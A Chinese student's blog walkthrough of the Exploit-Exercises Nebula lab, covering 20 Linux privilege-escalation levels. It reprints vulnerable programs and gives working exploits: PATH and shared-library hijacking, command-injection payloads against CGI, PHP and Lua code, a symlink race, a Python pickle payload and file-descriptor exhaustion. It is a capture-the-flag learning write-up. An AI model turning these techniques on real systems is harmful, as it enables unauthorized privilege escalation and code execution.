zoukankan      html  css  js  c++  java
  • 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    0x0 前言

    Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是https://exploit-exercises.com/,通过它可以学习提权,漏洞利用,逆向等知识

    我们这里尝试的是Nebula,是一个涵盖初级、中级挑战任务的练习环境,一个有20个关卡。涉及到的知识点有:

    • SUID文件(SUID files)
    • 权限(Permission)
    • 竞态条件(Race conditions)
    • Shell编程(Shell)
    • $PATH缺陷($PATH weaknesses)
    • 脚本语言缺陷(Scripting language weakness)
    • 二进制编译漏洞(Binary compilation failures)

    网上有详细的Nebula通关教程,我希望通过这次实验,提升自己linux下渗透的本领,掌握一些linux本地和远程攻击的基本知识。

    0x1 通关流程

    我参照网上给出的教程,来尝试完成Nebula的20个关卡。有兴趣的同学可以找我拷贝Nebula的镜像。i春秋上也有Nebula的在线环境练习。

    每一个关卡level对应一个账号:levelXX/levelXX(用户名和口令是一样的)比如第5关的账号就是 level05/level05。登录之后,进入/home/flagXX的目录下,与该关卡有关的东西都在这里。

    官网中的Nebula页面中有每道题的程序源码。

    每一关提权成功之后,需要执行/bin/getflag/,如果提权是成功的,会提示“You have successfully executed getflag on a target account”,否则提示“getflag is executing on a non-flag accont, this doesn't count”

    level00——找特权程序

    本关卡需要找到一个以“flag00”账号运行的可执行程序。关键是对find命令和uid知识的掌握。

    我们先看看flag00的UID是什么,输入cat /etc/passwd | grep flag00

    00-1

    flag00的UID和GID都是999。

    接着通过find命令从根目录开始查找,输入find / -uid 999 2> /dev/null

    (我们把标准错误输出扔到/dev/null黑洞里去)

    00-2

    无论是/bin/.../flag00,还是/rofs/bin/.../flag00都符合要求,任意执行一个即可。接着运行/bin/getflag成功通关。

    00-3

    level01——环境变量

    本题开始,需要我们对源码进行分析了,官网提供的源代码如下:

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    
    int main(int argc, char **argv, char **envp)
    {
      gid_t gid;
      uid_t uid;
      gid = getegid();
      uid = geteuid();
    
      setresgid(gid, gid, gid);
      setresuid(uid, uid, uid);
    
      system("/usr/bin/env echo and now what?");
    }
    
    

    这就是我们flag01程序的源代码。这里的system调用,执行了env程序。

    env用来显示环境变量,以及在定义的环境中执行程序。env需要根据环境变量PATH来查找程序的路径。

    即便是system中的参数是“硬编码”的,我们也有办法执行任意文件。

    01-1

    我们看到flag01程序的权限就是flag01,我们的目标就是通过它来执行/bin/getflag

    01-2

    这一系列手段非常有参考意义。/tmp目录对所有用户都有完整的权限。

    我们首先在/tmp下建立一个指向/bin/getflag的软链接echo,然后将/tmp目录放到环境变量PATH的最前面。

    这样,env程序在查找echo的时候会首先找到/tmp下的“伪装”echo并执行。

    通过这样的手法,可以执行其他的可执行程序。

    level02——执行任意文件

    老样子,从代码中发现漏洞,本关卡的程序源码如下:

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    
    int main(int argc, char **argv, char **envp)
    {
      char *buffer;
    
      gid_t gid;
      uid_t uid;
    
      gid = getegid();
      uid = geteuid();
    
      setresgid(gid, gid, gid);
      setresuid(uid, uid, uid);
    
      buffer = NULL;
    
      asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
      printf("about to call system("%s")
    ", buffer);
      
      system(buffer);
    }
    
    

    asprintf是GNU扩展的C函数,它将格式化字符串放到buffer中。getenv函数获取环境变量USER的值。

    由于环境变量USER是可以自己设置的,我们把USER设置为;/bin/getflag

    这样,执行了echo命令后,就会执行/bing/getflag,达到level02的要求。

    02-1

    level03——计划任务

    这个关卡有一个计划任务,每隔2分钟执行/home/flag03目录下的writable.sh。

    我们可以看到writeable.sh的内容。

    03-1

    这个脚本会自动执行writable.d里面的所有文件,接着有删除这个脚本。

    而计划任务crontab是flag03用户创建的,我们可以在writable.d中创建脚本来完成操作。

    03-2

    我们在writable.d的目录下创建一个run脚本。

    /bin/getflag > /tmp/20155110wangyifan
    

    这个脚本执行/bin/getflag,并把结果重定向到/tmp/20155110wangyifan文件中。

    等待两分钟,我们在/tmp目录下发现20155110wangyifan这个文件。

    03-3

    也就是说crontable自动执行了/bin/getflag程序

    level04——越权获得token

    这个关卡需要我们获取token文本文件的内容。目前我们的权限是读取不了的。

    04-1

    除了root权限外,只要flag04用户可以对它进行读写操作。这里有一个flag04程序,我们需要利用这个程序的漏洞,来获得token。

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    
    int main(int argc, char **argv, char **envp)
    {
      char buf[1024];
      int fd, rc;
    
      if(argc == 1) {
          printf("%s [file to read]
    ", argv[0]);
          exit(EXIT_FAILURE);
      }
    
      if(strstr(argv[1], "token") != NULL) {
          printf("You may not access '%s'
    ", argv[1]);
          exit(EXIT_FAILURE);
      }
    
      fd = open(argv[1], O_RDONLY);
      if(fd == -1) {
          err(EXIT_FAILURE, "Unable to open %s", argv[1]);
      }
    
      rc = read(fd, buf, sizeof(buf));
      
      if(rc == -1) {
          err(EXIT_FAILURE, "Unable to read fd %d", fd);
      }
    
      write(1, buf, rc);
    }
    
    

    注意这段代码:

      if(strstr(argv[1], "token") != NULL) {
          printf("You may not access '%s'
    ", argv[1]);
          exit(EXIT_FAILURE);
      }
    
      fd = open(argv[1], O_RDONLY);
    

    flag04会把命令行参数作为文件名并打开,但是文件名不能包含“token”字符串,否则会退出程序。

    还是祭出我们的软链接大法,迷惑flag04程序。

    04-2

    这就是flag04账号的密码,登录flag04账号执行getflag,完成这一关的任务

    level05——ssh密钥窃取

    在这一关,我们需要找到一个弱权限的目录,然后通过它来提权。

    我们需要关注的是.backup和.ssh这两个目录。

    05-1

    .ssh目录我们进不去。只能先在.backup目录里面探索一下。

    05-2

    我们把backup-19072011.tgz解压到/tmp目录下(因为权限不过无法在当前目录解压)

    05-3

    原来是ssh的公钥和私钥!直接把它copy到/home/level05然后ssh登录flag05的账号就能完成此关卡了!

    05-4

    ssh登录后执行getflag,完成这关。

    05-5

    level06——linux登录密码

    在本关卡中,flag06账号的认字凭证是存储在/etc/passwd中的(当然现在的linux都把密码放在/etc/shadow中,比/etc/passwd安全一些)

    我们先读取flag06的密码散列值

    06-1

    然后我们就要祭出Kali,用john这个口令破解工具弄出flag06账号的密码

    06-2

    so easy!密码就是hello,直接登录flag06的账号,可以通过此关。

    06-3

    level07——Perl脚本漏洞

    在这关中,我们的攻击对象是一个perl编写的cgi程序。

    训练环境的IP配置为192.168.56.102

    #!/usr/bin/perl
    
    use CGI qw{param};
    
    print "Content-type: text/html
    
    ";
    
    sub ping {
      $host = $_[0];
    
      print("<html><head><title>Ping results</title></head><body><pre>");
    
      @output = `ping -c 3 $host 2>&1`;
      foreach $line (@output) { print "$line"; }
    
      print("</pre></body></html>");
      
    }
    
    # check if Host set. if not, display normal page, etc
    
    ping(param("Host"));
    
    

    配置文件thttpd.conf显示开放的端口号是7007。

    07-1

    这段perl脚本的功能是调用外部的ping命令去ping指定的IP。接收的参数名为"Host"

     @output = `ping -c 3 $host 2>&1`;
    

    这段代码调用了外部命令,我们可以来一次 典型的命令注入

    首先确认cgi程序的权限,在浏览器中输入

    192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami
    

    07-2

    我们看到CGI程序就是以flag07的用户权限运行的。

    我们直接运行目标程序getflag即可

    192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
    

    07-3

    我们通过 命令注入成功通关。

    level08——TCP数据包分析

    这个关卡中我们需要分析一个capture.pcap的数据包。

    我们把训练环境的文件弄到本地来。然后用wireshark分析一下。

    08-1

    我们使用wireshark的“分析——追踪TCP流功能”

    08-2

    这是一个交互式登录的抓包。我们使用 Hex dump方式看password字段。

    08-4

    我们对照ascii表,7F是del删除,也就是说用户输入backdoor后,又删除了三个字符,接着输入00Rm8,又删除了一个字符,最后输入ate并敲下回车。

    所以,最后的password就是backd00Rmate

    08-3

    我们用这个password登陆flag08账号,顺利通关。

    level09——攻击php代码

    我们在这一关卡需要攻击一个有漏洞的php代码。

    <?php
    
    function spam($email)
    {
      $email = preg_replace("/./", " dot ", $email);
      $email = preg_replace("/@/", " AT ", $email);
      
      return $email;
    }
    
    function markup($filename, $use_me)
    {
      $contents = file_get_contents($filename);
    
      $contents = preg_replace("/([email (.*)])/e", "spam("\2")", $contents);
      $contents = preg_replace("/[/", "<", $contents);
      $contents = preg_replace("/]/", ">", $contents);
    
      return $contents;
    }
    
    $output = markup($argv[1], $argv[2]);
    
    print $output;
    
    ?>
    

    这段代码中的正则表达式会将[email xxx@xxx.xxx]中的“.”替换成“dot”,将“@”替换成“AT”,也就是变成xxx AT xxx dot xxx

    我们注意到这一句代码:

    
    $contents = preg_replace("/([email (.*)])/e", "spam("\2")", $contents);
    

    preg_replace第一参数使用了/e模式,preg_replace的第二个参数会作为代码执行。

    我们将用php中的system函数执行外部的shell命令

    将下面的内容写到文件/tmp/wyf中去

    [email "{${system(getflag)}}"]
    

    09-1

    接着执行flag09程序以后,getflag程序也被调用,我们成功通关

    level10——竞态条件漏洞

    在本关卡的/home/flag10目录下有两个文件:flag10和token。

    官网提示,这里是一个文件访问的竞态条件漏洞,去获取token的内容。

    我们先看看完整的源代码:

    
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <string.h>
    
    int main(int argc, char **argv)
    {
      char *file;
      char *host;
    
      if(argc < 3) {
          printf("%s file host
    	sends file to host if you have access to it
    ", argv[0]);
          exit(1);
      }
    
      file = argv[1];
      host = argv[2];
    
      if(access(argv[1], R_OK) == 0) {
          int fd;
          int ffd;
          int rc;
          struct sockaddr_in sin;
          char buffer[4096];
    
          printf("Connecting to %s:18211 .. ", host); fflush(stdout);
    
          fd = socket(AF_INET, SOCK_STREAM, 0);
    
          memset(&sin, 0, sizeof(struct sockaddr_in));
          sin.sin_family = AF_INET;
          sin.sin_addr.s_addr = inet_addr(host);
          sin.sin_port = htons(18211);
    
          if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
              printf("Unable to connect to host %s
    ", host);
              exit(EXIT_FAILURE);
          }
    
    #define HITHERE ".oO Oo.
    "
          if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
              printf("Unable to write banner to host %s
    ", host);
              exit(EXIT_FAILURE);
          }
    #undef HITHERE
    
          printf("Connected!
    Sending file .. "); fflush(stdout);
    
          ffd = open(file, O_RDONLY);
          if(ffd == -1) {
              printf("Damn. Unable to open file
    ");
              exit(EXIT_FAILURE);
          }
    
          rc = read(ffd, buffer, sizeof(buffer));
          if(rc == -1) {
              printf("Unable to read from file: %s
    ", strerror(errno));
              exit(EXIT_FAILURE);
          }
    
          write(fd, buffer, rc);
    
          printf("wrote file!
    ");
    
      } else {
          printf("You don't have access to %s
    ", file);
      }
    }
    
    

    注意access函数,当前用户访问某个文件时,返回值为0,才会有后面这一大段代码。

    	if(access(argv[1], R_OK) == 0) {
    
    		....	
    
    	} else {
        	printf("You don't have access to %s
    ", file);
    	}
    

    如果没有访问权限,就会输出"You don't have access to <文件名>"

    这段代码会建立一个socket通讯,并在18211端口上进行监听,然后打开指定的文件并把内容发送到通讯连接中。

    我们的思路是这样的:

    1. 在本地用netcat监听端口
    2. 让flag10去access一个当前用户有权限访问的文件/tmp/fake_token
    3. 删掉刚才的/tmp/fake_token,再建立一个指向/home/flag10/token的软链接

    我们先完成第一步,netcat监听

    10-1

    然后再另一个终端tty2下建立文件/tmp/fake_token

    10-1-0

    我们再写一个不断建立软链接的bash脚本

    10-2

    执行这个脚本,编写下面的脚本。

    10-3

    接着运行脚本,我们在看看nc收到的结果:

    10-4

    这就是flag10的登录密码,登录flag10账号后,执行getflag即可。

    level11——任意文件可执行漏洞

    在这一关卡,我们需要攻击一个flag11的可执行程序。它的源代码如下:

    官网说此关卡有两种方法可以通过

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <sys/mman.h>
    
    /*
     * Return a random, non predictable file, and return the file descriptor for it.
     */
    
    int getrand(char **path)
    {
      char *tmp;
      int pid;
      int fd;
    
      srandom(time(NULL));
    
      tmp = getenv("TEMP");
      pid = getpid();
      
      asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
          'A' + (random() % 26), '0' + (random() % 10),
          'a' + (random() % 26), 'A' + (random() % 26),
          '0' + (random() % 10), 'a' + (random() % 26));
    
      fd = open(*path, O_CREAT|O_RDWR, 0600);
      unlink(*path);
      return fd;
    }
    
    void process(char *buffer, int length)
    {
      unsigned int key;
      int i;
    
      key = length & 0xff;
    
      for(i = 0; i < length; i++) {
          buffer[i] ^= key;
          key -= buffer[i];
      }
    
      system(buffer);
    }
    
    #define CL "Content-Length: "
    
    int main(int argc, char **argv)
    {
      char line[256];
      char buf[1024];
      char *mem;
      int length;
      int fd;
      char *path;
    
      if(fgets(line, sizeof(line), stdin) == NULL) {
          errx(1, "reading from stdin");
      }
    
      if(strncmp(line, CL, strlen(CL)) != 0) {
          errx(1, "invalid header");
      }
    
      length = atoi(line + strlen(CL));
      
      if(length < sizeof(buf)) {
          if(fread(buf, length, 1, stdin) != length) {
              err(1, "fread length");
          }
          process(buf, length);
      } else {
          int blue = length;
          int pink;
    
          fd = getrand(&path);
    
          while(blue > 0) {
              printf("blue = %d, length = %d, ", blue, length);
    
              pink = fread(buf, 1, sizeof(buf), stdin);
              printf("pink = %d
    ", pink);
    
              if(pink <= 0) {
                  err(1, "fread fail(blue = %d, length = %d)", blue, length);
              }
              write(fd, buf, pink);
    
              blue -= pink;
          }    
    
          mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
          if(mem == MAP_FAILED) {
              err(1, "mmap");
          }
          process(mem, length);
      }
    
    }
    
    

    这段代码比较长,我们直接定位有问题的代码段

    
    void process(char *buffer, int length)
    {
      unsigned int key;
      int i;
    
      key = length & 0xff;
    
      for(i = 0; i < length; i++) {
          buffer[i] ^= key;
          key -= buffer[i];
      }
    
      system(buffer);
    }
    
    

    这里的buffer作为system的参数,是可控制的,但是这里的buffer的内容有点复杂,它在之前经过了“异或”加密。

    非常简单,我们对要执行的命令在进行一次异或,就可以还原了。

    我们的攻击代码如下:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[])
    {
    	int length = 1024;
    	// 要执行的命令
    	char *cmd = "getflag";
    	char buf[1024];
    	int key = length & 0xff;
    	int i = 0;
    	// 把“ getflag” 字符串拷贝到 buf 里,其余空间空字节填充
    	strncpy(buf,cmd,1024);
    	for(; i<length; i++)
    	{	
    		buf[i] ^= key;
    		// 一定要 buf[i]^key 才可得到正确的 key ,上面那句代码才可正确执行
    		key = key - (buf[i] ^ key);
    	}
    	// 输出至标准输出
    	puts("Content-Length: 1024");
    	fwrite(buf,1,length,stdout);
    	return 0;
    }
    
    

    注意代码里面还设置了环境变量TEMP

    tmp = getenv("TEMP");
    

    接着在系统中输入如下命令

    $ export TEMP=/tmp
    $ gcc -o /tmp/attack /tmp/attack.c
    $ cd /home/flag11
    $ /tmp/attack | ./flag11 
    blue = 1024, length = 1024, pink = 1024
    You have successfully executed getflag on a target account
    

    我们成功通关此关卡。

    level12——攻击Lua脚本

    本关卡给出了一个lua写的socket程序,虽然我不会lua语言,但是通过猜测还是能看懂个大概的。

    题目描述是一个监听在50001端口的backdoor。

    local socket = require("socket")
    local server = assert(socket.bind("127.0.0.1", 50001))
    
    function hash(password)
      prog = io.popen("echo "..password.." | sha1sum", "r")
      data = prog:read("*all")
      prog:close()
    
      data = string.sub(data, 1, 40)
    
      return data
    end
    
    
    while 1 do
      local client = server:accept()
      client:send("Password: ")
      client:settimeout(60)
      local line, err = client:receive()
      if not err then
          print("trying " .. line) -- log from where ;
          local h = hash(line)
    
          if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
              client:send("Better luck next time
    ");
          else
              client:send("Congrats, your token is 413**CARRIER LOST**
    ")
          end
    
      end
    
      client:close()
    end
    
    

    注意到这条语句

    
    prog = io.popen("echo "..password.."| sha1sum", "r")
    

    这个地方存在明显的 命令注入

    telnet 127.0.0.1 50001,构造payload

    ;/bin/getflag > /tmp/wyf5110
    

    12-1

    我们成功执行了getflag程序,通过本关。

    level13——简单的调试

    我们在这一关需要破解下面的程序。

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <string.h>
    
    #define FAKEUID 1000
    
    int main(int argc, char **argv, char **envp)
    {
      int c;
      char token[256];
    
      if(getuid() != FAKEUID) {
          printf("Security failure detected. UID %d started us, we expect %d
    ", getuid(), FAKEUID);
          printf("The system administrators will be notified of this violation
    ");
          exit(EXIT_FAILURE);
      }
    
      // snip, sorry :)
    
      printf("your token is %s
    ", token);
      
    }
    
    

    也就是说如果UID不是1000的话,我们得不到token的值。

    现在,我们直接使用gdb调试这个程序(当然你也可以直接用IDA静态反汇编)

    13-1

    找到getuid函数的位置以后,在下一条指令的地方设置断点。然后运行。

    函数的返回值在%eax寄存器中,我们发现这个uid的值是1014。

    13-2

    我们直接设置%eax寄存器的值为1000即可。

    13-3

    我们看到了token的值为b705702b-76a8-42b0-8844-3adabbe5ac58

    用它登录flag13账号,执行getflag程序通过此关。

    13-4

    level14——破解加密程序

    在这关,token文件是被flag14程序加密过的,我们需要解密token。

    我们看看这个程序是怎么加密的。

    14-1

    显然,这个加密算法非常简单,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推。

    我们直接编写解密程序即可。

    //dec.c
    
    #include <stdio.h>
    #include <string.h>
    int main()
    {
    	char buf[1000];
    	scanf("%s", buf);
    	
    	int i;
    	for (i = 0; i < strlen(buf); i++) {
    		buf[i] -= i;
    	}
    	
    	puts(buf);	
    	return 0;
    }
    
    

    14-2

    我们成功得到flag,然后用它登录flag14账号执行getflag即可。

    14-3

    level15——linx下共享库劫持

    官网直接给出提示,用strace工具追踪so使用情况。

    15-1

    提示没有找到libc.so.6,既然没有,我们就自己写一个让它找到。

    建立目录/var/tmp/flag15,并编写如下的代码

    #include <stdio.h>
    
    void __attribute__((constructor)) init()
    {
    	system("/bin/getflag");
    }
    

    15-2

    提示symbol __cxa_finalize,我再定义一个__cxa_finalize函数。

    	
    #include <stdio.h>
    
    void __cxa_finalize(void)
    {
    	return;
    }
    
    void __attribute__((constructor)) init()
    {
    	system();
    }
    

    我们还要用汇编语言自己实现一个system函数。

    .section .text
    .globl system
    system:
    
    mov $getflag, %ebx
    xor %edx, %edx # 异或清空 edx ,作为空参数
    push %edx
    push %ebx
    mov %esp, %ecx
    mov $11, %eax # 调用 execve 中断
    int $0x80
    
    .section .data
    getflag: .ascii "/bin/getflag" 
    

    最后,我们成功劫持了共享库的调用。

    15-3

    这一关的技术含量非常高,我们目前还没有完全理解

    level16——再次攻击perl语言CGI程序

    在这一关中,我们继续攻击一个perl语言的CGI程序

    #!/usr/bin/env perl
    
    use CGI qw{param};
    
    print "Content-type: text/html
    
    ";
    
    sub login {
      $username = $_[0];
      $password = $_[1];
    
      $username =~ tr/a-z/A-Z/; # conver to uppercase
      $username =~ s/s.*//;        # strip everything after a space
    
      @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
      foreach $line (@output) {
          ($usr, $pw) = split(/:/, $line);
      
    
          if($pw =~ $password) {
              return 1;
          }
      }
    
      return 0;
    }
    
    sub htmlz {
      print("<html><head><title>Login resuls</title></head><body>");
      if($_[0] == 1) {
          print("Your login was accepted<br/>");
      } else {
          print("Your login failed<br/>");
      }    
      print("Would you like a cookie?<br/><br/></body></html>
    ");
    }
    
    htmlz(login(param("username"), param("password")));
    
    

    这段代码的问题就在于它有调用了外部shell命令。

      @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
    

    但是,这里对用户名做了限制,不仅将其转换为大写,而且去掉第一个空格之后的所有内容。

    我们先建立这样一个脚本/tmp/wyf

    16-1

    构造payload为

    "</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#
    

    为了方便,我们直接写一个表单提交数据。

    16-2

    我们这是可以看到,getflag程序已经执行了。

    16-3

    这又是一个绕过正则表达式的 命令注入

    level17——python的pickle格式漏洞

    我们要分析一个在10007端口监听的python脚本。

    #!/usr/bin/python
    
    import os
    import pickle
    import time
    import socket
    import signal
    
    signal.signal(signal.SIGCHLD, signal.SIG_IGN)
    
    def server(skt):
      line = skt.recv(1024)
    
      obj = pickle.loads(line)
    
      for i in obj:
          clnt.send("why did you send me " + i + "?
    ")
    
    skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
    skt.bind(('0.0.0.0', 10007))
    skt.listen(10)
    
    while True:
      clnt, addr = skt.accept()
    
      if(os.fork() == 0):
          clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
          server(clnt)
          exit(1)
    
    

    由于我对python不熟悉,这一关的原理也没弄明白。

    这应该是一个反序列化的漏洞,先按照教程完成这一关卡吧。

    构造下面的payload

    cos
    system
    (S'getflag>/tmp/result'
    tR.
    

    17-1

    level18——资源未释放漏洞

    这关非常特殊,有三种解决方法,最简单的是耗尽系统资源。

    当然也有格式化字符串漏洞,栈溢出漏洞。

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <getopt.h>
    
    struct {
      FILE *debugfile;
      int verbose;
      int loggedin;
    } globals;
    
    #define dprintf(...) if(globals.debugfile) 
      fprintf(globals.debugfile, __VA_ARGS__)
    #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) 
      fprintf(globals.debugfile, __VA_ARGS__)
    
    #define PWFILE "/home/flag18/password"
    
    void login(char *pw)
    {
      FILE *fp;
    
      fp = fopen(PWFILE, "r");
      if(fp) {
          char file[64];
    
          if(fgets(file, sizeof(file) - 1, fp) == NULL) {
              dprintf("Unable to read password file %s
    ", PWFILE);
              return;
          }
                    fclose(fp);
          if(strcmp(pw, file) != 0) return;       
      }
      dprintf("logged in successfully (with%s password file)
    ",
          fp == NULL ? "out" : "");
      
      globals.loggedin = 1;
    
    }
    
    void notsupported(char *what)
    {
      char *buffer = NULL;
      asprintf(&buffer, "--> [%s] is unsupported at this current time.
    ", what);
      dprintf(what);
      free(buffer);
    }
    
    void setuser(char *user)
    {
      char msg[128];
    
      sprintf(msg, "unable to set user to '%s' -- not supported.
    ", user);
      printf("%s
    ", msg);
    
    }
    
    int main(int argc, char **argv, char **envp)
    {
      char c;
    
      while((c = getopt(argc, argv, "d:v")) != -1) {
          switch(c) {
              case 'd':
                  globals.debugfile = fopen(optarg, "w+");
                  if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
                  setvbuf(globals.debugfile, NULL, _IONBF, 0);
                  break;
              case 'v':
                  globals.verbose++;
                  break;
          }
      }
    
      dprintf("Starting up. Verbose level = %d
    ", globals.verbose);
    
      setresgid(getegid(), getegid(), getegid());
      setresuid(geteuid(), geteuid(), geteuid());
      
      while(1) {
          char line[256];
          char *p, *q;
    
          q = fgets(line, sizeof(line)-1, stdin);
          if(q == NULL) break;
          p = strchr(line, '
    '); if(p) *p = 0;
          p = strchr(line, '
    '); if(p) *p = 0;
    
          dvprintf(2, "got [%s] as input
    ", line);
    
          if(strncmp(line, "login", 5) == 0) {
              dvprintf(3, "attempting to login
    ");
              login(line + 6);
          } else if(strncmp(line, "logout", 6) == 0) {
              globals.loggedin = 0;
          } else if(strncmp(line, "shell", 5) == 0) {
              dvprintf(3, "attempting to start shell
    ");
              if(globals.loggedin) {
                  execve("/bin/sh", argv, envp);
                  err(1, "unable to execve");
              }
              dprintf("Permission denied
    ");
          } else if(strncmp(line, "logout", 4) == 0) {
              globals.loggedin = 0;
          } else if(strncmp(line, "closelog", 8) == 0) {
              if(globals.debugfile) fclose(globals.debugfile);
              globals.debugfile = NULL;
          } else if(strncmp(line, "site exec", 9) == 0) {
              notsupported(line + 10);
          } else if(strncmp(line, "setuser", 7) == 0) {
              setuser(line + 8);
          }
      }
    
      return 0;
    }
    
    

    linux默认只能打开1024个文件描述符,但是stdin,stdout,stderr已经各占用了一个。最终供程序使用的只有1021个。

    我们需要做的就是耗尽程序的资源,先输入

    for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;
    

    将1021个login wyf5110放到/tmp/login中。

    再执行

    cat /tmp/login | /home/flag18/flag18 -d /tmp/debug 
    

    查看/tmp/debug的内容

    18-1

    根据输出内容,我们知道登录成功了。应该可以执行shell命令。

    我们追加一个shell,然后再执行flag18程序。

    18-2

    看到这个结果,是因为文件描述符用尽了。

    我们看源码中的这一部分

          } else if(strncmp(line, "closelog", 8) == 0) {
              if(globals.debugfile) fclose(globals.debugfile);
              globals.debugfile = NULL;
          }
    

    也就是说添加closelog可以释放一个文件描述符。我们再次修改/tmp/login

    18-3

    然后执行

    cat login | /home/flag18/flag18 --init-file -d debug
    

    但是出现了下面的问题。

    18-4

    我们可以这么操作

    18-5

    既然找不到Starting命令,我们就攻击环境变量,将Starting指向恶意脚本

    再次运行程序,查看/tmp/output文件,我们可以知道/bin/getflag已经被执行了

    18-6

    level19——突破进程

    终于来到最后一关了,这一关要求我们攻破下面的程序。

    程序的源代码如下:

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    
    int main(int argc, char **argv, char **envp)
    {
      pid_t pid;
      char buf[256];
      struct stat statbuf;
    
      /* Get the parent's /proc entry, so we can verify its user id */
    
      snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
    
      /* stat() it */
    
      if(stat(buf, &statbuf) == -1) {
          printf("Unable to check parent process
    ");
          exit(EXIT_FAILURE);
      }
    
      /* check the owner id */
    
      if(statbuf.st_uid == 0) {
          /* If root started us, it is ok to start the shell */
    
          execve("/bin/sh", argv, envp);
          err(1, "Unable to execve");
      }
    
      printf("You are unauthorized to run this program
    ");
    }
    
    

    这段程序的逻辑是这样的:

    • 先通过getppid()函数得到父进程pid号
    • 根据pid号找到/proc下当前pid号的目录
    • 如果属于root,就执行shell

    我们需要利用“孤儿进程”的特点来突破这段程序

    孤儿进程的父进程init的uid绝对是0

    编写攻击代码如下

    //attack.c
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    int main(void)
    {
    	pid_t pid;
    	pid = fork();
    	char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; 
    	if(pid == 0) 
    	{
    		execve("/home/flag19/flag19",argvs,NULL);
    	} else if(pid > 0) {
    		exit(0);
    	}
    	return 0;
    }
    

    这段攻击代码,利用fork出来的子进程执行getflag程序,并将结果重定向到/tmp/flag19_output文件中。

    19-1

    至此,我们成功通关nebula的全部20个关卡!

    心得与体会

    实话实说,exploit-exercise nebula的这20个练习让我感受到了自己 离技术的门槛还很遥远

    其中的一系列linux提权和任意文件执行的技巧令我印象深刻——软链接大法,python反序列化漏洞,CGI程序的命令注入,共享库劫持,gdb调试……

    很多练习以我的能力是不可能做出来的,在参考了网上的教程以后,我能够 大体感受到其中的 美妙之处

    之前的实验,我们只是浅尝辄止地使用一些工具而已,我们对工具的应用也是浮于表面的,尽管能熟练使用工具并玩到极致的话,也可以弄出花样来。

    这次的final让我彻底明白,只有对计算机足够精通,才能真正主宰一切,而这条道路对我们来说非常漫长。

    不过,能够在本学期的课程中对计算机安全技术初窥门径,我已经很满足了。

  • 相关阅读:
    Git使用基础介绍
    [SnowflakeIdWorker]雪花Id
    C#[反射 Reflection]
    [.Net Core]Castle DynamicProxy
    [Vue]Vuex
    [Vue] 导航守卫
    [Vue] $route和$router的区别
    Unexpected end of JSON input while parsing near '..."
    推荐一款截图的工具(Snip)
    [Vue] 计算属性Computed与函数function的异同
  • 原文地址:https://www.cnblogs.com/wyf12138/p/9120818.html
Copyright © 2011-2022 走看看